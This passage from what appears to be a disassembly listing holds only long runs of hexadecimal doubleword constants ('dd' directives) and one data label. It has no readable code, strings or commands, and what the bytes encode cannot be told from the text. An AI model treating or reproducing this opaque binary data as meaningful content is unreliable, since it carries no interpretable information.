96261C00h, 74A1A51Dh, 4F2F475h, 37603D5Ch, 53A9C0F7h dd 85001811h, 59CFE6F8h, 1C3F0422h, 6C21121Ah, 13113E0h dd 7924DE6Dh, 0C93DC863h, 0A58F7103h, 8127AB19h, 64F86DF4h dd 2DB50307h, 602993D2h, 0F08EDCB9h, 65031484h, 0AA06435h dd 1D3DB47h, 51906258h, 0D02B26B9h, 1300AF36h, 59AA0E56h dd 7E2EF97h, 25BC469Fh, 514071FAh, 6198DFC4h, 2D00F01Fh dd 0E86CA30Ch, 770F36F9h, 8528399Ch, 0A0888C28h, 2A9F60h dd 0C2D92BF2h, 0F7CDD1EFh, 8B301B16h, 0E949F422h, 28CCFF6Ch dd 2C631CEAh, 0C47C4934h, 3A604A0h, 4A59358Ch, 7AB81F08h dd 0E6010066h, 0B5BA721Bh, 9373E0h, 0F33112B3h, 2BDAC8D9h dd 520000B0h, 4FE8B756h, 82D3FBh, 3337A927h, 708E1BF9h dd 728CC700h, 0BC0604A3h, 1FDBF6DCh, 40F5757Dh, 6F8AA7AFh dd 3900F857h, 0B855F648h, 5842D4F0h, 2056BF9h, 0C0BD49AAh dd 3DDF622Eh, 0BEEE2616h, 501DDD01h, 0CCE87CDDh, 0BAFF008Ah dd 79101B1h, 4C002410h, 0A5E7EB02h, 5C6921h, 0B542B270h dd 970AD43Fh, 0DD16F725h, 0BE31B460h, 0F4613C05h, 0D580CA10h dd 11BF326h, 0FABAC766h, 0DC7694F9h, 4200078Fh, 41BEC016h dd 7F2E56h, 0FBB5E22Ch, 0B31E69A7h, 0C258FC7Eh, 0ECB6002Ch dd 0AFC5A2D1h, 7ECF008Eh, 5A3FC837h, 8800E8BBh, 0EBB4E597h dd 0A830B2h, 0FF4190EAh, 0F8BCF0F5h, 0C956E0C0h, 1351B754h dd 4D330E8h, 80A5F549h, 962CCDBFh, 46645817h, 37AB3605h dd 775DB400h, 7CBADE6h, 0B85F05D8h, 237510CDh, 0DC03F986h dd 850124EFh, 8219E8B1h, 0F1470064h, 3D23F8D5h, 161E9EDDh dd 0B1C078D2h, 0EFB38C5Ah, 3B2800ECh, 8E39B2C5h, 650060C4h dd 0D77F6B46h, 0EABDEDh, 0DBB5A868h, 0AE8D50B9h, 72B84400h dd 9CCEFF8Ch, 65740028h, 83AD929Bh, 0F60076ABh, 250DEEE7h dd 0E30181h, 0A828EDFFh, 831D8953h, 12EC454Eh, 0CD00E43Dh dd 397C824Dh, 0A7072F3Fh, 0D4DB2A6Eh, 0ED60A0BEh, 89F91Fh dd 0D57C0796h, 0E3F06C3Ah, 0BBC13500h, 53D31A98h, 0EF2D0004h dd 0CFB90848h, 7D014BCDh, 0BF70C815h, 90701A7Fh, 0C059ECA2h dd 258E3B90h, 2C004323h, 0A4396B9Eh, 1556753h, 79E4DFEEh dd 0C1239611h, 5D9FDCDCh, 753B8201h, 75FD051h, 421F1180h dd 5AE838EFh, 0C41A3500h, 0E4DE2251h, 0C6706A8Ch, 0F2AB908Ch dd 0C0E64347h, 7EABDFh, 0A240FB01h, 1FC7E763h, 40361830h dd 795ECC08h, 0A8B500A6h, 0C6C3C0F5h, 0D478C225h, 70830203h dd 0DB78751Ch, 0BA84B052h, 477CADh, 56B57B77h, 0DC0D35Bh dd 0CB584505h, 0E400B46Ch, 656120DCh, 0F69600C3h, 5DBF82E1h dd 0B16FF578h, 13D5C120h, 0EEC01D9Eh, 117D43h, 0FC2D73D9h dd 67D23412h, 0D6622718h, 0B0C6CBD0h, 0E26B003Bh, 6FBF7A9h dd 39486716h, 0A0030FC0h, 0D59E0062h, 0BFE81Fh, 0AC3AFFC2h dd 0E4B0D249h, 0C00082F8h, 78AF02Eh, 24D906h, 904AB183h dd 5D276CC4h, 213D6B30h, 0FC745CDh, 79E81C66h, 621FAD40h dd 0B3008F5Bh, 0D9A0AE15h, 6021C7D1h, 0CBE980A5h, 4100F9EAh dd 0D418B32Bh, 3FB252C5h, 47DCD7Bh, 2A13F54h, 57D2801Dh dd 39399C88h, 9600F0B2h, 6E5D792Ah, 0CF977Eh, 0A8672792h dd 60ADB87Dh, 0E022DB04h, 0B2C00FACh, 9930696h, 0C05BBD1Bh dd 5A540881h, 0B3FE43BAh, 4481C9CFh, 0E4EA18D3h, 0B103820Ch dd 3F79C1DCh, 7AF9A838h, 81C300BDh, 2CF0953Bh, 7D000DA2h dd 334BF388h, 1E635C1Ch, 3B7991h, 19D3DFD7h, 0ADE2F89Ch dd 0A0853E03h, 1B2E49h, 8EFC72F8h, 0A29771Eh, 0EEE5B004h dd 70D084DEh, 137ED0Fh, 0D0A25BB8h, 0EC4A3402h, 381C0C8Fh dd 780031C3h, 0E9A010Ah, 3FF007Dh, 6760C5CBh, 0D200AD2Ch dd 0F6873E06h, 0FCCA5Fh dd 0B7FE2836h, 595447CFh, 6B6E7D07h, 27F07F14h, 335DCEAh dd 57BF97A3h, 73D034A1h, 7BEA239Eh, 5F08B000h, 861B455Dh dd 92310F53h, 9880A4E6h, 0DBA88BEh, 9B6B8003h, 80B3BB28h dd 12C8D5h, 5A72F6E8h, 4F195E57h, 0BC8E8701h, 88062AEFh dd 1A55C0h, 5259B971h, 8987DEB5h, 9C4ECE00h, 745C3C62h dd 10F90E70h, 5BA03DEDh, 0F21A5F50h, 0C3F01E00h, 0E6E78FF6h dd 0A3A20027h, 0AE95CCC7h, 0B5E2EBEAh, 0DAC6FD1Eh, 171B1080h dd 0B8F54CAFh, 0D5D700C4h, 4D388366h, 94FEF263h, 0F18A1C00h dd 41AD3516h, 0B50A00F6h, 57B09322h, 30005C3Dh, 1EC14C02h dd 0CF9421h, 54904384h, 0FF1BF6B0h, 52F1331Eh, 94AF8B00h dd 75BEBF4h, 0B9816A1h, 868DB0B5h, 501EC3A2h, 9400F08Ah dd 0B37A43C1h, 736C7B09h, 31F60059h, 4B7706E4h, 0AF0073BDh dd 5A1F8F1Bh, 2C3AAEh, 61A32BF0h, 0D29054ECh, 927E9703h dd 0E06D432Dh, 5861387h, 0A2370F03h, 74CC017Dh, 0F683120Ah dd 43A98980h, 2C00E058h, 0A1188A1Fh, 0FECE07B6h, 407C0021h dd 0F22BBE79h, 0A00355FFh, 0D3C0E635h, 0E072BA24h, 1C1CA8Dh dd 8C2A04FDh, 0D057FC7Ch, 0E7241999h, 0F1800470h, 59A79CA1h dd 0A5941DDCh, 1831D69h, 2BD33392h, 3D288675h, 5A17CAAh dd 3E0AB4F9h, 600AC0FAh, 45007718h, 688A8714h, 0B69EF4h dd 19C09A31h, 0F1E0E8B8h, 0AF8C4600h, 9EB03D8Ah, 1CF390D4h dd 80C72533h, 0F4696D28h, 0FB0EC1A7h, 6119EBE9h, 489489DDh dd 633FF0h, 809DA986h, 98AF3B15h, 0DC51A507h, 7C402A1Fh dd 60DF6C97h, 16B3A178h, 5036FA5h, 3CF50ACCh, 0B018009Ch dd 0CE512267h, 0F721C861h, 0E8190A3Eh, 0ECFD4088h, 8E3A62FCh dd 8C5B02E4h, 82EB199Dh, 863DF710h, 350131Ch, 0C9B601D4h dd 71A0EBAAh, 440338E2h, 0B80B68ACh, 0E99F887Eh, 0D500085h dd 0D220B62Ch, 0E04CAE61h, 0EF0C02E4h, 87705BBBh, 0E6F06897h dd 1FEE88EAh, 0A330C3h, 0FEDED8C1h, 6BEC1C2Bh, 4C00827Bh dd 21BFDD7Ah, 0AD29F5h, 43976477h, 93C5EC0Fh, 0BD7F9500h dd 0DF263F49h, 0CB8C00EBh, 0F4414794h, 0E5EE711Dh, 0A0968400h dd 0D50AEDC8h, 92C001A5h, 7ACAD219h, 5DF1EC09h, 291CE800h dd 0A89EB165h, 2F2802D6h, 71C688AFh, 0C85488A1h, 0BC2C20DFh dd 0F42AFC19h, 2180A309h, 0F5DFBF34h, 61001E4Ch, 0CC79ACB1h dd 54060A28h, 1BFFA492h, 188C3C99h, 13810798h, 867E6601h dd 9F9863BEh, 61F82983h, 529AD7B6h, 6A19FC83h, 21900830h dd 1B6595Dh, 6E212A3Ch, 0C4B22EC3h, 61EA8DFFh, 5E187E12h dd 6D586819h, 0B6085F18h, 0C44261D1h, 575340CDh, 9CF4B6h dd 1DFA3A5Bh, 928C0D39h, 0F7F3E703h, 4731A99h, 1F8174F1h dd 0C19C9428h, 839AF34Fh, 0A12DB120h, 44380E67h, 0BB04C275h dd 3F1E0074h, 6A5963Ch, 3D9CDB21h, 22600831h, 3C24FC49h dd 25AF7290h, 2BD695D1h, 72C65806h, 0A0B10079h, 0FB8CD586h dd 0D810A5B8h, 1E00E023h, 823DDD19h, 627856B9h, 39CC6701h dd 9D54DB0h, 0DA2F908Fh, 85058C34h, 0E05690Fh, 0AE4067C0h dd 0C68306ACh, 0E259000h, 0F01FCF6h, 0ABE639h, 0D4D6655Fh dd 0E4C55904h, 6B0052FEh, 0A1660E75h, 99CE19h, 63E761BDh dd 1E9AA5D9h, 0FE50B7h, 5C38C1F2h, 0D13048FFh, 0E6700B7Ah dd 6562930Fh, 900E009Bh, 0CD412Eh, 57F7FA27h, 1AFF5230h dd 8A028D00h, 9992B1CBh, 5018C068h, 0EB7289CFh, 9BC7561Eh dd 4E1F8000h, 1DCDA7h, 0EA44D3D9h, 3BBD8BD2h, 0E00C660Ch dd 4850E7h, 821D6337h, 4C5B60EDh, 0E57E3E00h, 89B80679h dd 0B485011Bh, 514DC3EBh, 0F94880ECh, 6731ED7Fh, 193D035Ch dd 0E44EF5B5h, 77957EF0h, 9B0D3B07h, 89E0D18Ah, 3051FF71h dd 13A191CFh, 4915A746h, 18050B1h, 2D423AE1h, 0A98FF8D5h dd 1C61EC8Fh, 1099E0DFh, 0FA6B2293h, 0C9704Dh, 0CA67455Eh dd 0D5369CE7h, 93B13301h, 71523BF7h, 91E39043h, 5CD0D95Eh dd 0A072547Ah, 0D5193D68h, 0B6B054B0h, 0FC03C9CFh, 0A95156E8h dd 52901EDAh, 0BD0C8074h, 0C778DE6Eh, 0C0875D18h, 7FA0E368h dd 1ED91C9Bh, 0CAA84047h, 0FD8EB606h, 5F425100h, 1B1CB27Eh dd 28F51DC7h, 53D7C0B7h, 0C6CC0A55h, 31725C1Ch, 4082BAC1h dd 8EF04341h, 0C03CE0FFh, 354FBB18h, 0A318F47Ah, 5D206908h dd 22F000C2h, 0EC396E34h, 0F7077A36h, 2FC68A6Ah, 507B9080h dd 0BC3F0E38h, 27200574h, 47FC5AF5h, 0F6BA40C0h, 2E32DDA4h dd 6D1655Ch, 8970648Ch, 0CF5AAF00h, 0BB3FBCEEh, 0C0784Bh dd 833EC78Dh, 61DD4A02h, 0A40F1C00h, 0DBAAEEB8h, 0F6D42850h dd 379D00F6h, 0BA36A194h, 200F58Dh, 392BBFA5h, 8C120Fh dd 25E7F9F8h, 0B5712C4Dh, 0BAFA0B00h, 36D59017h, 0D1960069h dd 80F8FC59h, 0F41D47D9h, 2F003484h, 0F7095DB3h, 8D61037Ah dd 0FC22D55h, 65B69FE8h, 2590B0Fh, 31FBA00Dh, 94D362h dd 0D93C2105h, 0EC2DD88Fh, 0BC540617h, 0E98E6B07h, 9860C2C7h dd 747C573h, 340BE01Fh, 0ED137014h, 101507Ch, 59A55E53h dd 0CFD0C082h, 0F3E0056Ah, 807B1009h, 6103561Bh, 0E967D474h dd 0E200621h, 902AB234h, 0E0FFA71h, 0A09E176h, 22EA46E0h dd 19000113h, 3CB9F5B0h, 3C056BE3h, 2B00B1F0h, 0E9CFA42Ah dd 0C03EEA9Ch, 0BD20E264h, 89B80E8Dh, 0EA3BAD5Bh, 0B2FE3A0Dh dd 305CA93Bh, 110809F2h, 64D4697Bh, 4C348F5h, 835BCB28h dd 193AF9F6h, 8A3817FBh, 0C4806A1Eh, 7AB1E0D0h, 9F4C1928h dd 40FD606Ah, 30F1369Eh, 0E500F5E6h, 0AA5AD2A0h, 7B186Eh dd 1C11B094h, 72776BC0h, 0F847F630h, 8018CD63h, 26284640h dd 0C33188ECh, 0D7CA28CEh, 0E201087h, 5286607Fh, 800E936h dd 283C7311h, 123D22h, 0E7988D95h, 0B1484AA3h, 0BF20A41Eh dd 2C1D6724h, 85EEA9C0h, 0CA40D1h, 3CFB7AE8h, 9B098A7Bh dd 81FE8F00h, 0FD3D852Ch, 56512E12h, 0DA930EF6h, 48E7E3A0h dd 57001C2Eh, 52ABB3F2h, 55016D3h, 20D09439h, 80A78701h dd 3E7F9370h, 49F68E00h, 0C98799FCh, 1C1F79B7h, 80ABDA3Fh dd 53903421h, 461C5F23h, 0D6CECCACh, 0E6C5009Ah, 75013C32h dd 0B1701C26h, 86924F1Fh, 0E8EB7EA0h, 0BCB0E2B6h, 90037E8h dd 2E8AF9A8h, 664DA0h, 6BB299BCh, 0F5DDD23Dh, 0C1BB5400h dd 5AFA6878h, 84EB004Ah, 8DBCC765h, 3D7A6AC4h, 1BA203Ah dd 13D9CF49h, 6880CB02h, 7BDC063Eh, 8B185DD2h, 0BE48779Ch dd 0FEB60C1Dh, 0E890853Dh, 71C09912h, 25449200h, 3F6577ACh dd 0F8BE61h, 0B108336Dh, 0D2043A60h, 4A8458C0h, 1A0673Eh dd 174FAA91h, 863FC6B6h, 0DE073A51h, 0FB5C0C29h, 678B158h dd 5F62D400h, 7F367192h, 0D1820F76h, 524A2A03h, 50870FE6h dd 0C7C538D8h, 0AA152414h, 97820D84h, 0F0D7187Fh, 0EA9F693h dd 0DB284E6Eh, 0D03A17E7h, 0D191B01Ah, 0A36AB906h, 496F7Ch dd 0D5AB125h, 828BEC47h, 0A7F88007h, 2720F920h, 6624FDh dd 0B753C695h, 374BF612h, 8F4CA11Ch, 68491900h, 973B7C6Ah dd 0FF4D3180h, 0D50D40B1h, 1179FE3Ch, 3F9C040Bh, 0B0359Fh dd 179B051Fh, 42002704h, 772E7058h, 0D259B5h, 0E541FD90h dd 0FBAD4FB9h, 0C26C7200h, 1B7A0984h, 7CB600BDh, 6FEB5F3h dd 0A22CCE7Fh, 981CD85Fh, 0AF682E00h, 7F52DEFFh, 906BF813h dd 0A46DA066h, 0E3DC0003h, 4C491C21h, 5501527Eh, 0F785C23Fh dd 0C9C8D659h, 751D0317h dword_564190 dd 2144A04Dh, 358808A8h, 0E2834F06h, 8AF87Bh, 20381E2Ah dd 3FE6781Ch, 0C05F8001h, 390B1BDBh, 0EB8B1880h, 5A40AB8Eh dd 8ACF2400h, 448D10F9h, 0F5AA4C0Dh, 18B9602Eh, 7886492Fh dd 1BA33Eh, 9DFE5898h, 0FAFB05h, 37FFC3C4h, 290A50E2h dd 0B7B37F00h, 36AB7892h, 543B387Eh, 86FD4686h, 7A0059DAh dd 4CC071F9h, 261E94h, 6BFAB2E8h, 0C22272B8h, 0D681802h dd 63420E89h, 165DD197h, 5754D451h, 0F86F6CECh, 63B0F3h dd 0A803ECEFh, 21288741h, 0A0D73F00h, 5C85D073h, 0B6C02AF0h dd 86EB06F0h, 8ADCD5DEh, 80F0C00h, 18D3E2FAh, 173C3004h dd 2162F41Eh, 96AD9C1Fh, 2BA8AB80h, 322B310h, 0DAF9F0E0h dd 82C8AA93h, 46008E68h, 3AF2855Bh, 8612FEh, 87A3C2C4h dd 0BC74FD2Ch, 0B53D20F0h, 1D97005Ch, 32AE793Fh, 0C9E2079Ch dd 80B8DC67h, 0CB87EE9Fh, 7F242774h, 570100A4h, 380F1B39h dd 268F8h, 5488B3E6h, 7BFE6D98h, 1AA4520Eh, 16D200CEh dd 69D3DFh, 63F177AEh, 71592312h, 94104E3Ch, 8CE14Ch, 509FB534h dd 2F860Eh, 94588362h, 0F86BBAAAh, 22E28902h, 8FFEE5F6h dd 4955E0B4h, 7E70BDh, 0D0D8C138h, 133A9CFh, 2B003276h dd 0E0F0FDC2h, 9C9BD4h, 15E38C18h, 367A8E6Bh, 444E3D00h dd 5FDBCBDh, 0FB90774h, 50DA4770h, 19AA2878h, 9C049300h dd 0E53C63C4h, 0BDCD0062h, 338D6CF0h, 6E1CF8BAh, 0F640552Ch dd 0D975A8A0h, 4A3B006Bh, 0B5F08FC0h, 0ECA07E4Bh, 0BCA18176h dd 0B9AEF0A2h, 4128E5B0h, 0B43AA4E2h, 0B893006Dh, 4EF7550Bh dd 545A0013h, 9F48CB6Ch, 74FCDD76h, 72601D00h, 6F0FB751h dd 0F1B900A1h, 89238078h, 2B003350h, 67EA4356h, 715931Ah dd 0AE1631F4h, 0AB323290h, 8D0C6C40h, 4CC60813h, 2DE86907h dd 51CFD591h, 24C00D21h, 0B7E009CEh, 38A01B2Fh, 0F083F3DFh dd 3B769902h, 80EB5A20h, 98A6389Ch, 654C00B9h, 0AB3A2A4Dh dd 2D128B0Bh, 744084CBh, 4202E9EBh, 0B16B00BDh, 0B5863D04h dd 0FDB0884Ah, 839B8900h, 0A48FB6C4h, 21A0C045h, 0D59DC5C7h dd 6AE84600h, 0CE80E407h, 7AEB001Dh, 9810F578h, 484C1277h dd 810C3FFBh, 0D98BE48Fh, 37F08486h, 6C7E00EAh, 4CE87A3Ch dd 0D3002FCCh, 0A663172h, 1DE0F09h, 0F21BAD90h, 0DC052502h dd 0BA00B996h, 568BEEDBh, 5268FBEh, 31142DA9h, 0EFBF8083h dd 0B7E049A4h, 0A0A30C00h, 43B559F5h, 143800D5h, 0EC6D3088h dd 5702C3C2h, 8C21A984h, 0FCA0804Ch, 0B8E8AFh, 0C997EC38h dd 0F069C1EBh, 85A6D100h, 7F2D3944h, 0AD7B0056h, 0A230D303h dd 5794A66h, 6BED1B00h, 882FBE5Eh, 0AE0A0051h, 0B0FB567Ch dd 0FA4D5481h, 0BB2200F4h, 240899ACh, 0B2EC93h, 0DAEE4BAFh dd 1132F11h, 1E63A700h, 5A58E49Ch, 54EF0335h, 44E39B40h dd 63413AB8h, 91000472h, 0CC220161h, 71B154Eh, 0D0F69E43h dd 0FB45E072h, 3B00915Eh, 93EF3441h, 1DEB8136h, 0B0A6BE32h dd 0EA39BAF8h, 0BB092104h, 0D480FC02h, 427F27h, 98E24ADFh dd 9B5C71B2h, 0BFC49700h, 6499C520h, 53263872h, 0A2006BCCh dd 0EECFE344h, 7C03E878h, 2E546934h, 5D1E98A1h, 0AC6306E1h dd 18D27529h, 0FC7E2102h, 0C8B7B036h, 3D31A294h, 0E08361BBh dd 0ED05D3CDh, 40C5FDB0h, 0C60E6D16h, 97D96D00h, 8D7332h dd 9406AC4Dh, 641B35B6h, 0C0F74EF0h, 0C550E980h, 6F4CF6BCh dd 298B18CDh, 783D7EC4h, 4BC031Ch, 0D3CED822h, 4F795C98h dd 286B7807h, 49216C85h, 0A0407031h, 0E894EB0h, 4AD31815h dd 62CD07h, 0B9BDCEADh, 3E0BC52h, 53DAB704h, 1F5D0EEh dd 2A7500B6h, 26C1BE1Ch, 3A002794h, 6CDFF6B9h, 7425818Ch dd 33B709C2h, 2CA0700Bh, 0B55BDE32h, 52230780h, 520388A9h dd 0D91B942Ch, 0F44B60DFh, 7700A25Fh, 2A201FC9h, 0B7CD1Dh dd 0D827C71Eh, 4142433Fh, 3764B901h, 2F04CAD9h, 0E56C9840h dd 0BD1D0070h, 0F3D46EF9h, 77E61AC0h, 0A4606800h, 0CD02829Dh dd 631E00B3h, 43FF92D4h, 2400C4EEh, 980D3F7Dh, 3195F26h dd 0F1F27502h, 62F890C6h, 2A00E4E7h, 5CD6F0B4h, 0BD97EF8h dd 3BDF5ADBh, 0AAE0B020h, 0DD018183h, 249AADCDh, 5DC5F61h dd 794B0362h, 64A6A971h, 0CF8F90F0h, 74F98E00h, 0BF21D634h dd 89C83C53h, 662FA68Eh, 0A880DE0Eh, 323E9AC0h, 4D09ACB8h dd 0A57F1850h, 3BC0E680h, 0E869E154h, 615E1F48h, 11E018DCh dd 0FC40F64Bh, 6FF059h, 0CC2E753Fh, 6050156Dh, 4E496460h dd 75A0ED7Bh, 11E0F8h, 1EAEFE9Eh, 0ADB5B918h, 101FE07Ah dd 30804C33h, 86BC493Bh, 0B46F067Ch, 188D0D1Ch, 0FA8F3807h dd 65803534h, 9012DBh, 2D1595E6h, 9AD7ABBBh, 0B2647B50h dd 7E7C7701h, 0F1850D63h, 66B9830h, 0DA36D1F3h, 793CC871h dd 40ADAECCh, 1280209Eh, 0B8F7CE98h, 0EEA800C6h, 7AB52375h dd 6174336Fh, 44EFAC00h, 0E970F6BCh, 9F6200BAh, 512759BFh dd 2B07CB7Dh, 5A649B60h, 31B944B0h, 0E4610422h, 801E15FCh dd 570A0B14h, 0D106D0F7h, 9A8C6501h, 0A0AD32F1h, 0F50F02F4h dd 2CD2C8h, 8970C86Dh, 9F711338h, 0CF34EC03h, 0F08AE00Eh dd 68F07Bh, 83ABC004h, 0A17230D0h, 493CFE00h, 0A6D4CAE3h dd 0D6BB180Eh, 0ED81E1FAh, 4F25EA00h, 7CE68021h, 71BE0096h dd 4741E83h, 0F202B13Fh, 62DB36C6h, 0CF908055h, 3063F3A8h dd 7F105954h, 0BE648DEh, 0D0439C00h, 0AB44E06Dh, 56981CA5h dd 0A8DA9494h, 25D42098h, 0F1663500h, 2B694A33h, 14054448h dd 95748500h, 86964E0Fh, 0C7291CBEh, 0F9533Bh, 0C12EF8E2h dd 0C81D3657h, 3E0068FBh, 227C4FB6h, 72250A8Eh, 83E46306h dd 5A557618h, 0E5B98B98h, 4284524h, 34BAF187h, 3D146F00h dd 0B5C40002h, 3F80F3F7h, 0D312D5BBh, 544060CEh, 0BD0F68D1h dd 0CC2500BEh, 75EDE336h, 84A0F3C3h, 8C399B77h, 0B49E01D9h dd 4B293682h, 2456CC24h, 809CA6B5h, 43A91131h, 0EE039601h dd 472C2E7Dh, 77B4C086h, 0B72D003Ah, 0F74C5FEAh, 330016EBh dd 0D1485D7Dh, 0E0C2697h, 6AAD1C20h, 20EA5586h, 48457000h dd 9DCDEA6h, 0EBDE257h, 0D301234Fh, 0E905A143h, 603A2800h dd 0EA9D348Eh, 0C5CA0479h, 3845D55h, 0E09CBC9Eh, 0F9FB3C80h dd 18B62DF5h, 0A0063038h, 88C22234h, 0D7760041h, 0A8864BF1h dd 0B1DEE11h, 72181260h, 0EBFC921h, 0F846DDF1h, 875B0056h dd 5D176883h, 7491D528h, 48387846h, 5E97CA84h, 0C10C370Dh dd 6E505C0Fh, 0F5599500h, 2C9E3125h, 0B480FA00h, 0EB93B07Dh dd 0C355729Fh, 0ED24D318h, 29C148h, 0E54A98A8h, 90EA7180h dd 6FD2B0ACh, 0E420B1CDh, 32DFEC45h, 0FAF6B876h, 0B6129E00h dd 83B1C6CEh, 0CEAECCDh, 79BCFD11h, 2A0396C0h, 8D349962h dd 0D0A190A9h, 35710090h, 7FCE521Ch, 0E548F741h, 56FC00A4h dd 0EE31D6B3h, 0E7B000C5h, 8AF0B5FFh, 17052DCEh, 0F3FAA4F1h dd 1DF6C202h, 0BD27409Dh, 66E40024h, 0F043379Eh, 4474FF76h dd 0B6215960h, 7D77E5CFh, 270600F6h, 2DC2F358h, 3731D77Eh dd 0F7F150C4h, 0E504450Ch, 478F9E7Dh, 0C7205432h, 0C6E420h dd 0DA53AF30h, 0DEB67991h, 28B8E300h, 927707A2h, 6720F884h dd 0A0951027h, 0B60A1D8Fh, 0C1092E00h, 0F89185A1h, 0C0C07E9Ah dd 97171D59h, 9C676401h, 0B160FD11h, 0C5F7523h, 6612083Ch dd 21C0E408h, 0F313F5FCh, 9C0A0E2Ch, 0BA0090F9h, 3C9E7E0Bh dd 0B5F0E8C0h dd 0C3D4536h, 4EF4825Dh, 9B78CF70h, 54A4E218h, 0C0989510h dd 6FE79D50h, 9272CF69h, 26D4DA06h, 7B05FBDh, 0BE609E64h dd 0F8801959h, 0AA2408Fh, 0D4683E60h, 0F61734Eh, 7991C0Bh dd 0BF876CA0h, 0E05CD29Ch, 0E72B00D3h, 22505688h, 0F1230072h dd 7DCB668Fh, 0DC381D07h, 519B9DC9h, 8D3DD900h, 0AF05A3h dd 0C472E537h, 84ED889Dh, 4443611Eh, 51D20CC0h, 0ED12A8A1h dd 0E0B10FECh, 52CF0049h, 111BD6DDh, 9E7A29F3h, 0A1C92400h dd 0B7798A74h, 0C6580790h, 80AA6D85h, 0CEC446C5h, 2207F3E2h dd 0ABC289F9h, 8FA106C0h, 0F22C0303h, 9AFB2BA0h, 6AD21000h dd 0BFA5B205h, 7D47187Bh, 0E51C086Eh, 82BD20C0h, 6813506h dd 1166791Bh, 0D12058FFh, 9A3221F2h, 0FCCD5604h, 0DC051C20h dd 7A4FA510h, 0BF21B6CCh, 0B405740Fh, 737E005Ch, 5F247783h dd 40C6832Dh, 0A039C000h, 3CBCEA5Bh, 0D9E11323h, 0EE0A0044h dd 90DC30CBh, 404D3207h, 0A08E5778h, 0EAE29CFh, 0C8F9006Fh dd 16856BC6h, 0E60062E9h, 1D945D3Ah, 233D4Dh, 57D2902Dh dd 0FDAD8748h, 6900867Dh, 5E048212h, 962CDCh, 48B00390h dd 0E8A8B9C3h, 2839C600h, 0AF1CE79Ch, 727A0015h, 7F862C5Dh dd 0DB0322AAh, 0FE601731h, 0A3E7D13Ah, 0DADDCh, 0E30CD596h dd 4AC0CFD2h, 295A6800h, 0B45E3A55h, 1CC40035h, 237C8704h dd 0A400D5ABh, 0C8210520h, 1C7486D0h, 7D79ECh, 6B26CC8Bh dd 0FF06E681h, 0A01A6E46h, 0CC0F850h, 0FCCB916Dh, 500A518h dd 9264CE4Fh, 0BA4F423h, 0D3748D02h, 6F1E475Ch, 0A61F569Eh dd 0AA919501h, 0E1E7A9BCh, 19854BD4h, 0C062258Dh, 0CAA4D731h dd 4399EE00h, 0C0108960h, 0E94D0CD6h, 3B704897h, 42C5500Eh dd 0C0E82FE7h, 9088455Ch, 0EC8E0084h, 0F002D9E4h, 0C6061246h dd 8A6F1ADBh, 0C93601B9h, 8D81E02Ch, 0C8BE08h, 510E3361h dd 3D2E820h, 98434B75h, 780E2ED9h, 0A0A5908Dh, 0B3B501DBh dd 0F1FB007Eh, 0C3FC8EEh, 0C600B943h, 79A81786h, 0A17722h dd 0AA8DFCBCh, 0A0EECF4Eh, 753FB70Eh, 92030187h, 76C49E06h dd 0A3BD00C3h, 0C6B732EEh, 28C005C0h, 0C430FF1Ah, 2B1F013Dh dd 438BF263h, 9FF6D173h, 0C404CA21h, 87C1BE3Ch, 212087A6h dd 530600BFh, 19F18B2h, 0A137D04Eh, 578030A0h, 1DCEABA9h dd 412CC203h, 0AC8F5238h, 35218054h, 0A2F54FE1h, 2F86189Eh dd 0EA419856h, 5B184A06h, 3C284E76h, 0B006A5B7h, 101E131Fh dd 450047F4h, 0C659E14h, 0EACD7683h, 8897608Ch, 393648B7h dd 0EC11A700h, 0B03F7506h, 0A24C01A3h, 0DDDB26EEh, 2A63700Dh dd 0DC5DB300h, 28778D12h, 69C3194h, 0E07519C8h, 92F043FEh dd 17EA0E00h, 10614F79h, 44B200B5h, 0C97F9ABDh, 3400FB03h dd 4E3148DCh, 3A407945h, 1780119Ch, 2778E64Ah, 81007054h dd 3BB9B32Fh, 1E836531h, 8FBAA171h, 6DA0F314h, 0B7A342D9h dd 5A7BF698h, 91AFE003h, 0B8AE8434h, 18F10403h, 0A00E9FA0h dd 70B19E9h, 8FBC83h, 16486EFCh, 7586007Ah, 6DA10F9Ah dd 0BE00B141h, 5878EFEDh, 649B478Eh, 0C0312887h, 4017AE24h dd 39D55C00h, 66DE78C3h, 2D450024h, 949A0EC0h, 0F300DCB9h dd 73D4A84Dh, 0F37B816h, 3F26A287h, 53B66A3h, 0E04D0C99h dd 3400EFC0h, 0B388BAF4h, 0E562B67h, 93C8F70Eh, 3640EE6Fh dd 4B9AC647h, 88695F30h, 308395A2h, 0D720F5BDh, 0BE00105Eh dd 3C93E26Fh, 7C17B9E8h, 0D470C0BBh, 0C4A0238Ch, 64B03901h dd 6BBE9EF4h, 0C805488Eh, 0CEA6160h, 1D006385h, 0BA3A781Ch dd 0DC8C5317h, 0FC834040h, 95EF02F9h, 936F8500h, 75486831h dd 56A000A6h, 0E4512492h, 12F832D0h, 33A7370Ch, 7652F6ABh dd 8130CEF2h, 11929720h, 0E6019541h, 0CB77E88Fh, 0EC80C56Dh dd 0EB9B56A4h, 9505EEC1h, 0BB38805Eh, 84768380h, 0DBE80460h dd 0C0BA81F9h, 96CDE489h, 0CA994400h, 859D2B73h, 7A110045h dd 81F6CF78h, 3107CC50h, 1E712AFBh, 0D846E50h, 6C7003Fh dd 0F9E29952h, 1000EAD9h, 4A8FFA7Fh, 7E74538h, 9E634F96h dd 0B88E71CAh, 0D938805Fh, 0F055629Fh, 0D2210057h, 0A38B909Ah dd 0CC00D586h, 0A68AD82Fh, 0C0CAC8B2h, 95B5C060h, 11FCB41h dd 0BB80180Fh, 579B7799h, 56E000CCh, 96C4955Bh, 36034F38h dd 43840C76h, 0BF203E6Eh, 9B22B21Ch, 0B0D8517Dh, 8900F649h dd 9F07135Fh, 30F5DCA5h, 0FD1F3F1h, 7A777678h, 643E2117h dd 900C11h, 0EB026CCEh, 767D92Dh, 7E94F0D7h, 4C405E51h dd 8EBD9E09h, 0D019450Ch, 3A39716Fh, 8300A2E8h, 50F72003h dd 17609137h, 0E72A0650h, 8F4400EDh, 61CE8829h, 3F0087F1h dd 3DE2FFBBh, 0C854E6h, 0D59910F7h, 0D3847706h, 0D92A0C1Fh dd 4130EE00h, 5E33D0h, 13679DADh, 7F8D15C5h, 0CDCAC603h dd 7EB049E0h, 0CCE6008Ch, 6465EF45h, 96007813h, 43B7AF20h dd 7FC7DF07h, 93F2A1h, 0F9973582h, 0F6878F6Fh, 4025E01h dd 0BA55E330h, 0CCCD20h, 9E744F4h, 27BB01E9h, 1583A100h dd 669BA61Bh, 200F00ABh, 46258503h, 0D707D3E0h, 170D8AFAh dd 0BB420E50h, 